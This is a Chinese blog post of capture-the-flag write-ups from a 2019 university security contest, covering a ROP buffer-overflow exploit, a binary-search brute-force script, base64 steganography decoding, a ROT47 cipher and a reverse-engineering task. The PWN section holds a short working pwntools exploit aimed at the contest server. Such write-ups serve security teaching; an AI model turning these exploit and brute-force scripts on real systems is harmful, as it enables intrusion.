当前位置:首页 > SAFE > 正文内容

[WP]安恒杯月赛暨全国大学生信息安全竞赛北京工业大学校内选拔赛

Luz2年前 (2019-12-21)SAFE580

PWN

fantasy:

最基本的ROP

EXP:

from pwn import *
p=remote("183.129.189.60",10025)
p.recvuntil('message')
payload='a'*0x38+p64(0x400735)
p.send(payload)
p.interactive()


MISC

佛系青年:

伪加密,图片没有被加密,伪加密部分是txt

右键7z直接解压

image.png

与佛论禅  http://www.keyfc.net/bbs/tools/tudoucode.aspx

在线解密得到flag


babync:

输入一个数他会告诉你大了还是小了

第一想法就是二分法爆破

很荣幸拿到一血

from pwn import *
b=""
minn=55555555555555555555555555
maxn=555555555555555555555555555
n=int((maxn+minn)/2)
for i in range(100):
 n=int((maxn+minn)/2)
 p=p=remote("183.129.189.60",10029)
 print n
 p.sendline(str(n))
 b=p.recv(8)
 if('sma' in b):
  minn=n+1
 if('big' in b):
  maxn=n-1
 print str(n)+b
 p.close()
print n



gakki:

分离文件得到rar包,爆破rar密码

image.png

得到字符串文本

本来以为是base91或者base92,并且base91也确实能解出东西了,但是研究了半天发现并没什么用

最后统计字符数量排序得到的flag

image.png


SXMgdGhpcyBiYXNlPw==:

base64隐写,脚本直接秒杀:


#coding:utf-8
def get_base64_diff_value(s1, s2):
        base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
        res = 0
        for i in xrange(len(s2)):
                if s1[i] != s2[i]:
                        return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
        return res
def solve_stego():
        with open('3.txt', 'rb') as f:
                file_lines = f.readlines()
                bin_str = ''
                for line in file_lines:
                            steg_line = line.replace('\n', '')
                            norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
                            diff = get_base64_diff_value(steg_line, norm_line)
                            print(diff)
                            pads_num = steg_line.count('=')
                            if diff:
                                    bin_str += bin(diff)[2:].zfill(pads_num * 2)
                            else:
                                    bin_str += '0' * pads_num * 2
                            print(goflag(bin_str))
def goflag(bin_str):
    res_str = ''
        for i in xrange(0, len(bin_str), 8):
                res_str += chr(int(bin_str[i:i + 8], 2))
        return res_str
if __name__ == '__main__':
        solve_stego()

image.png


CRYPTO:

Checkln:

这是我见过最恶心的签到题,还只有50分

base64解密完以后得到的一直以为是base85 91 或者 92

还考虑了他更改table

最后把密文和‘GXY{’一起放在十六进制编辑器中对比 发现每一个字符都相差2F

写了个脚本:

image.png

然后才知道原来是Rot47..

Rot47解密得到flag


REVERSE:

luck_guy:

image.png

运气好的话三次先取到余数4和5再取到余数1是可以直接拿到flag的

开始写了脚本跑了1w次没跑出来

最后还是看代码反推了

前半段flag是直接输出的

后半段flag是加密过的

image.png



分享给朋友:

相关文章

PWN题目环境批量搭建2年前 (2019-10-18)
JWT密钥破解2年前 (2019-12-28)

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。